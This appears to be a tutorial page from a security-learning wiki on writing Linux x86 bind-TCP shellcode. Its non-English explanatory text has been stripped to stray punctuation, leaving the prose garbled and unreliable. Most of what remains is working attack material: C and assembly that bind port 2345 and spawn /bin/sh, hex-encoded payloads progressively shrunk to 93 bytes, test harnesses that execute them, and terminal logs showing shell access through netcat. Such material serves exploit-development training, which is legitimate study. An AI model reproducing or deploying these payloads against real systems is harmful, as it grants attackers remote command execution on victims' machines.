03.Bind Shellcode

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- Bind Shellcode
  - C language
  - Check system call number
  - System-specific socket constants
  - Assembly code
  - Test program
- Bind Shellcode(Socket + "/bin/sh")
  - C language
  - Check system call number
  - Assembly code
  - Test program
- Smaller Shellcode - Call dup2()
  - Branch Control Structure (CMP Instructions)
    - C language & Assembly code
    - Test program
  - Branch Control Structure (Zero Flag, Sign Flag)
    - JZ vs JE
    - C language & Assembly code
    - Test program
  - xchg Instruction
    - Assembly code
    - Test program
- Related site
- Comments

Bind Shellcode

C language

- **C Port bind .**
- Port .
  - socket() Socket .
  - bind() server socket .
  - listen() .
  - accept() .

portbind.c

```
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
        int server_sockfd, client_sockfd;
        struct sockaddr_in server_addr, client_addr;
        socklen_t client_addr_size;

        server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        server_addr.sin_family = AF_INET;                       // IPv4
        server_addr.sin_port = htons(2345);                //  port  2345
        server_addr.sin_addr.s_addr = INADDR_ANY;        // 32bit IPV4

        bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));

        listen(server_sockfd, 4);

        client_addr_size = sizeof(struct sockaddr_in);
        client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);
}
```

Check system call number

- Assembly code Assembly code .
- "__NR_socketcall" System call .

socketcall - socket system calls

```
lazenca0x0@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep socketcall
#define __NR_socketcall 102
lazenca0x0@ubuntu:~$
```

- socketcall .
  - .
  - .

Synopsis

```
int socketcall(int call, unsigned long *args);
```

- "__NR_socketcall" .
  - , socketcall .

/usr/include/linux/net.h

```
#define SYS_SOCKET        1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                      */
#define SYS_CONNECT        3               /* sys_connect(2)               */
#define SYS_LISTEN        4               /* sys_listen(2)                */
#define SYS_ACCEPT        5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME        6               /* sys_getsockname(2)               */
#define SYS_GETPEERNAME        7               /* sys_getpeername(2)               */
#define SYS_SOCKETPAIR        8               /* sys_socketpair(2)               */
#define SYS_SEND        9               /* sys_send(2)                      */
#define SYS_RECV        10               /* sys_recv(2)                      */
#define SYS_SENDTO        11               /* sys_sendto(2)               */
#define SYS_RECVFROM        12               /* sys_recvfrom(2)               */
#define SYS_SHUTDOWN        13               /* sys_shutdown(2)               */
#define SYS_SETSOCKOPT        14               /* sys_setsockopt(2)               */
#define SYS_GETSOCKOPT        15               /* sys_getsockopt(2)               */
#define SYS_SENDMSG        16               /* sys_sendmsg(2)               */
#define SYS_RECVMSG        17               /* sys_recvmsg(2)               */
#define SYS_ACCEPT4        18               /* sys_accept4(2)               */
#define SYS_RECVMMSG        19               /* sys_recvmmsg(2)               */
#define SYS_SENDMMSG        20               /* sys_sendmmsg(2)               */
```

System-specific socket constants

- Assembly code C .

System-specific socket constants

Constants	Description	Value of constants
PF_LOCAL, AF_UNIX	.	1
PF_INET, AF_INET	IPv4 .	2
PF_INET6	IPv6 .	10
PF_PACKET	Low level socket .	17
SOCK_STREAM	TCP/IP .	1
SOCK_DGRAM	UDP/IP .	2
IPPROTO_IP	TCP	0

- header .

/usr/include/linux/in.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/linux/in.h | grep IPPROTO_IP
  IPPROTO_IP = 0,                /* Dummy protocol for TCP               */
#define IPPROTO_IP                IPPROTO_IP
  IPPROTO_IPIP = 4,                /* IPIP tunnels (older KA9Q tunnels use 94) */
#define IPPROTO_IPIP                IPPROTO_IPIP
  IPPROTO_IPV6 = 41,                /* IPv6-in-IPv4 tunnelling               */
#define IPPROTO_IPV6                IPPROTO_IPV6
lazenca0x0@ubuntu:~$
```

/usr/include/bits/socket_type.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket_type.h |grep SOCK_STREAM
  SOCK_STREAM = 1,                /* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
lazenca0x0@ubuntu:~$
```

/usr/include/bits/socket.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket.h |grep PF_INET
#define PF_INET                2        /* IP protocol family.  */
#define PF_INET6        10        /* IP version 6.  */
#define AF_INET                PF_INET
#define AF_INET6        PF_INET6
lazenca0x0@ubuntu:~$
```

Assembly code

- **Shellcode .**
  - .
  - .
    - EAX .
    - Client socket accept() client_addr, client_addr_size Null(0) .
    - Port Stack Little-endian format .
      - 2345 -> 0x0929 -> 0x2909

portbind-asm.s

```
BITS 32

;socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
push BYTE 102                ; socketcall    102 Stack .
pop eax                              ; Stack     EAX  .
cdq                       ; EDX  DWORD  Null byte .
push dword 1                              ; socket    1 Stack .
pop ebx                              ; socketcall()  1 (EBX ) SYS_SOCKET(1)  .
;
push edx                       ; socket()  3   0 Stack .
push BYTE 1                       ; socket()  2   SOCK_STREAM(1) Stack .
push BYTE 2                       ; socket()  1   PF_INET(2) Stack .
mov ecx, esp                ; socketcall()  2 (ECX )    (ESP )  .
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
mov esi,eax                       ;      ESI  .

;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
push BYTE 0x66                ; socketcall    102 Stack .
pop eax                              ; Stack     EAX  .
inc ebx                              ; EBX  1  , INC   2 .
                                      ;   socketcall()  1   SYS_BIND(2)  .
;struct sockaddr_in server_addr
push edx                       ; server_addr.sin_family = AF_INET;
push WORD 0x2909        ; server_addr.sin_port = htons(2345);
push WORD bx                ; server_addr.sin_addr.s_addr = INADDR_ANY;
;
mov ecx,esp                       ; ECX server_addr    .
push BYTE 16                ; bind()  3   16 Stack .
push ecx                       ; bind()  2   &server_addr Stack .
push esi                       ; bind()  1   server_sockfd Stack .
mov ecx, esp                ; socketcall()  2   ECX   .
int 0x80

;listen(server_sockfd, 4)
mov BYTE al,0x66        ;
inc ebx
inc ebx                              ; EBX  2    inc  2  4 .
                                      ;   socketcall()  1   SYS_LISTEN(4)  .
push ebx                       ; listen()  2   4 Stack .
push esi                       ; listen()  1   server_sockfd Stack .
mov ecx, esp                ; socketcall()  2   ECX   .
int 0x80

;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size)
;c = accept(s,0,0)
mov BYTE al, 0x66        ;
inc ebx                              ; socketcall()  1   SYS_ACCEPT(5)  .
push edx                       ; bind()  3   0 Stack .
push edx                       ; bind()  2   Null Stack .
push esi                       ; bind()  1   server_sockfd Stack .
mov ecx, esp                ; socketcall()  2   ECX   .
int 0x80                       ;
```

Test program

pb.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x09\x29\x6
6\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x8
9\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- **2345 port .**
  - & .
  - netstat Port .

Port bind

```
lazenca0x0@ubuntu:~/Shell$ gcc -o pb -z execstack -m32 pb.c
lazenca0x0@ubuntu:~/Shell$ ./pb &
[1] 64826
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59
lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:2345            0.0.0.0:*               LISTEN      64826/pb
lazenca0x0@ubuntu:~/Shell$
```

Bind Shellcode(Socket + "/bin/sh")

C language

- **Port , Port , "/bin/sh" .**

dup2.c

```
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
        ...
        client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);

        dup2(client_sockfd, 0);
        dup2(client_sockfd, 1);
        dup2(client_sockfd, 2);

        char *argv[] = { "/bin/sh", NULL};
        execve( "/bin/sh", argv, NULL );
}
```

- **dup2 .**
  - newfd oldfd .

- newfd oldfd .
- , , .
  - (stdin), (stdout), (stderr) client_sockfd

SYNOPSIS

int dup2 (int oldfd , int newfd);

Check system call number

- dup2 63.

dup2 System call

```
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep dup2
#define __NR_dup2 63
lazenca0x0@ubuntu:~/Shell$
```

Assembly code

dup2-asm.s

```
BITS 32

;s = socket(2,1,0)
;bind(s, [2, 31337, 0], 16)
;listen(s, 0)
;c = accept(s,0,0)
... ...

;dup2(client_sockfd, 0)
mov ebx, eax                 ; accept()      EBX .
push BYTE 0x3F                ; socketcall    63 Stack .
pop eax                                ; Stack     EAX  .
xor ecx, ecx                ; dup2()  2   (0) .
int 0x80                        ;

;dup2(client_sockfd, 1)
mov BYTE al, 0x3F        ; socketcall    63 AL  .
inc ecx                                ; dup2()  2   (1) .
int 0x80                        ;

;dup2(client_sockfd, 2)
mov BYTE al, 0x3F        ; socketcall    63 AL  .
inc ecx                                ; dup2()  2   (2) .
int 0x80                        ;

;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11                ; execve()     11 EAX .
push edx                        ;     Null  Stack .
push 0x68732f2f                ;  "//sh" Stack . Little-endian
push 0x6e69622f                ;  "/bin" Stack . Little-endian
mov ebx, esp                ; execve()  1  ESP   .
push edx                        ; Stack Null .
mov edx, esp                ; execve()  3  Null   (ESP) .
push ebx                        ; Stack "/bin//sh"  (EBX) .
mov ecx, esp                ; execve()  2   (ESP,["/bin//sh",Null],[Null]) .
int 0x80                        ;
```

Test program

portbindsh.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x09\x29\x6
6\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x8
9\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2
f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- **"/bin/sh"** .

Port Bind (Shell)

```
lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -z execstack -m32 portbindsh.c
lazenca0x0@ubuntu:~/Shell$ ./portbindsh &
[1] 65488
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./portbindsh
lazenca0x0@ubuntu:~/Shell$
```

Smaller Shellcode - Call dup2()

Branch Control Structure (CMP Instructions)

- **dup2()** .
  - CMP .

Conditional jump(It is commonly found after a cmp instruction)

Instructions	Meaning
cmp <Dest operand>, <Src operand >	.
je <Operand>	CMP .
jne <Operand>	CMP .
jl <Operand>	CMP .
jle <Operand>	CMP .
jnl <Operand>	CMP .
jnle <Operand>	CMP .
jg <Operand>	CMP .
jge <Operand>	CMP .
jng <Operand>	CMP .
jnge <Operand>	CMP .

C language & Assembly code

- .

i <= 2

```
for(int i=0;i <= 2;i++){
        dup2(client_sockfd,i)
}
```

- CMP, JLE C language .

jle-asm.s

```
;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax                        ; accept()      EBX .
xor eax, eax            ; EAX  0  .(  )
xor ecx, ecx            ; ECX  0  .(dup2  2 )
dup2_call:
        mov BYTE al, 0x3F   ; dup2    (63) AL  .
        int 0x80            ;
        inc ecx                                ; dup2  2  (+1) .
        cmp BYTE cl, 2          ; dup2  2  2  .
        jle dup2_call       ; dup2  2  2    dup2_call  .
```

Test program

jle.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x5
3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe
1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x2\x7e\xf6\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\
x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- **Shellcode 98 byte .**
  - Port bind Shellcode 101 byte .

Port bind shellcode (98 byte)

```
lazenca0x0@ubuntu:~/Shell$ gcc -o jle -z execstack -m32 jle.c
lazenca0x0@ubuntu:~/Shell$ ./jle &
[1] 65593
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jle
lazenca0x0@ubuntu:~/Shell$
```

Branch Control Structure (Zero Flag, Sign Flag)

- **.**
  - Zero Flag, Sign Flag .

ZF, SF

ZF	(Zero Flag)	0 (1)
SF	(Sign Flag)	(1)

Conditional jump

Instructions	Meaning
jz <Operand>	Operand .
jnz <Operand>	Operand .
js <Operand>	Operand .
jns <Operand>	Operand .

JZ vs JE

- **JE CMP , JZ JE .**
  - CMP DEC .
  - CMP DEC .

JZ vs JE

Assembly code	Hex
cmp cl, 2 **jle FunctionName;**	"\x80\xF9\x02\x0F\x8E\xFC\xFF\xFF\xFF"
dec ecx **jns FunctionName;**	"\x49\x0F\x89\xFC\xFF\xFF\xFF"

C language & Assembly code

- .

i < 0

```
for(int i=2;i < 0;i--){
        dup2(client_sockfd,i)
}
```

- DEC, JNS C language .

jns-asm.s

```
;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax                        ; accept()      EBX .
xor eax, eax                ; EAX  0  .(  )
push BYTE 0x2                  ; Stack 2 .
pop ecx                                ; ECX  2  .(dup2  2 )
dup2_call:
        mov BYTE al, 0x3F        ; dup2    (63) AL  .
        int 0x80                       ;
        dec ecx                                ; dup2  2  (-1) .
        jns dup2_call                ;   (0) dup2_call  .
```

Test program

jns.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x5
3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe
1\xcd\x80\x89\xc3\x31\xc0\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- **Shellcode 96 byte .**

Port bind shellcode (96 byte)

```
lazenca0x0@ubuntu:~/Shell$ gcc -o jns -fno-stack-protector -z execstack --no-pie -m32 jns.c
lazenca0x0@ubuntu:~/Shell$ ./jns &
[1] 65763
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 96
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jns
lazenca0x0@ubuntu:~/Shell$
```

xchg Instruction

- .

xchg Instruction

```
xchg <Dest operand>, <Src operand>
```

- XCHG EAX 3, EBX 2 .

Example

```
mov eax, 2
mov edx, 3
xchg eax, edx
```

- accept() EBX .

Code size

mov ebx,eax xor eax, eax	"\x89\xC3\x31\xC0"
xchg eax,ebx	"\x93"

Assembly code

xchg-asm.s

```
;dup2(connected socket,{all three standard I/O file descriptors}

xchg eax,ebx                ; accept()      EBX , EAX    (0x00000005) EAX  .
push BYTE 0x2                  ; Stack 2 .
pop ecx                                ; ECX  2  .(dup2  2 )
dup2_call:
        mov BYTE al, 0x3F        ; dup2    (63) AL  .
        int 0x80                       ;
        dec ecx                                ; dup2  2  (-1) .
        jns dup2_call                ;   (0) dup2_call  .
```

Test program

xchg.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x5
3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe
1\xcd\x80\x93\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- **Shellcode 93 byte .**
  - .

Port bind shellcode (93 byte)

```
lazenca0x0@ubuntu:~/Shell$ gcc -o xchg -fno-stack-protector -z execstack --no-pie -m32 xchg.c
lazenca0x0@ubuntu:~/Shell$ ./xchg &
[1] 65793
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 93
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./xchg
lazenca0x0@ubuntu:~/Shell$
```

Related site

- https://www.rcesecurity.com/2014/07/slae-shell-bind-tcp-shellcode-linux-x86/
- https://en.wikipedia.org/wiki/File_descriptor

Comments

Unknown macro: 'html'

Unknown macro: 'html'